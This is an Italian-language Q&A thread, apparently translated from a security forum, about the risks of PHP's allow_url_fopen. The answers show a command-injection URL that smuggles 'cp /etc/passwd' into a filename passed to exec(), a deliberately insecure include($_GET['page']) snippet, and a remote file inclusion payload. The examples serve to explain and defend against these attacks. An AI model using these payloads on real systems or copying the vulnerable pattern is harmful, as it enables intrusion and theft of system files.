Quali sono i rischi di sicurezza PHP allow_url_fopen?

8

Recentemente stavo leggendo un articolo su file_get_contents e HTTPS .

Una parte che ha attirato la mia attenzione è:

Of course, the allow_url_fopen setting also carries a separate risk of enabling Remote File Execution, Access Control Bypass or Information Disclosure attacks. If an attacker can inject a remote URI of their choosing into a file function they could manipulate an application into executing, storing or displaying the fetched file including those from any untrusted remote source. It’s also worth bearing in mind that such file fetches would originate from localhost and thus be capable of bypassing access controls based on local server restrictions. As such, while allow_url_fopen is enabled by default, you should disable it without hesitation to maximise security.

Ho 2 domande:

  1. Che cosa può fare un utente malintenzionato con allow_url_fopen e come lo farà?
  2. È allow_url_fopen sempre un rischio per la sicurezza o solo quando accetti l'input dell'utente in fopen wrapper?

Altri link interessanti

posta Gudradain 22.10.2015 - 18:01
fonte

2 risposte

2

Uno scenario di attacco di esempio che utilizza allow_url_fopen che mi consente di scaricare il tuo file di password:

  1. Supponiamo che la tua app mi consenta di fornire un URL a un'immagine remota, che potrai scaricare e utilizzare come immagine del mio avatar.
  2. Fornisco il seguente URL: "http://my.malicious.example.com/sbwoodside.jpg;cp%20/etc/passwd%20downloads/foo.jpg;"
  3. La tua app utilizza allow_url_fopen per scaricare il file e lo memorizza come "sbwoodside.jpg;cp%20/etc/passwd%20downloads/passwords.txt;" . Ora ho inserito correttamente un comando nel nome file.
  4. La tua app vuole comprimere e ridimensionare la mia immagine, quindi usi ImageMagick sulla riga di comando con qualcosa come exec("magick convert -size 128x128 ".$filename." ".$filename.".128.jpg")
  5. Che cosa esegue effettivamente exec ? Se il file non è stato disinfettato, viene eseguito il seguente comando sulla shell:

magick convert -size 128x128 sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt; sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt;.128.jpg

Poiché ; è un comando delimitato sulla shell, che verrà interrotto automaticamente dalla shell nei seguenti comandi separati:

magick convert -size 128x128 sbwoodside.jpg cp /etc/passwd downloads/passwords.txt sbwoodside.jpg cp /etc/passwd downloads/passwords.txt .128.jpg

E ora vado su http://yourapp.com/downloads/passwords.txt e scarica il tuo file di password. Certo, posso fare tutto ciò che voglio, dal momento che sto eseguendo comandi come server web sul tuo sistema.

    
risposta data 04.10.2017 - 04:52
fonte
1

Dipende da te! come hai progettato le tue applicazioni e sei considerato sicuro durante tutto il ciclo di vita dello sviluppo del software?

Considera il codice non sicuro sottostante che carica le pagine web in base al parametro di richiesta (pagina):

<?php
include($_GET['page']);
?>

E ora considera che un utente malintenzionato include codice PHP dannoso usando:

?page=http://example.com/badcode-php.txt

Può quindi bypassare tutte le misure di sicurezza dal tuo sito e fare qualsiasi cosa (accedere a file locali, caricare un altro file, etec).

Quindi è consigliato girare a allow_urL_fopen e allow_url_include per minimizzare l'attacco di esecuzione di file remoto.

    
risposta data 24.10.2015 - 23:17
fonte

Leggi altre domande sui tag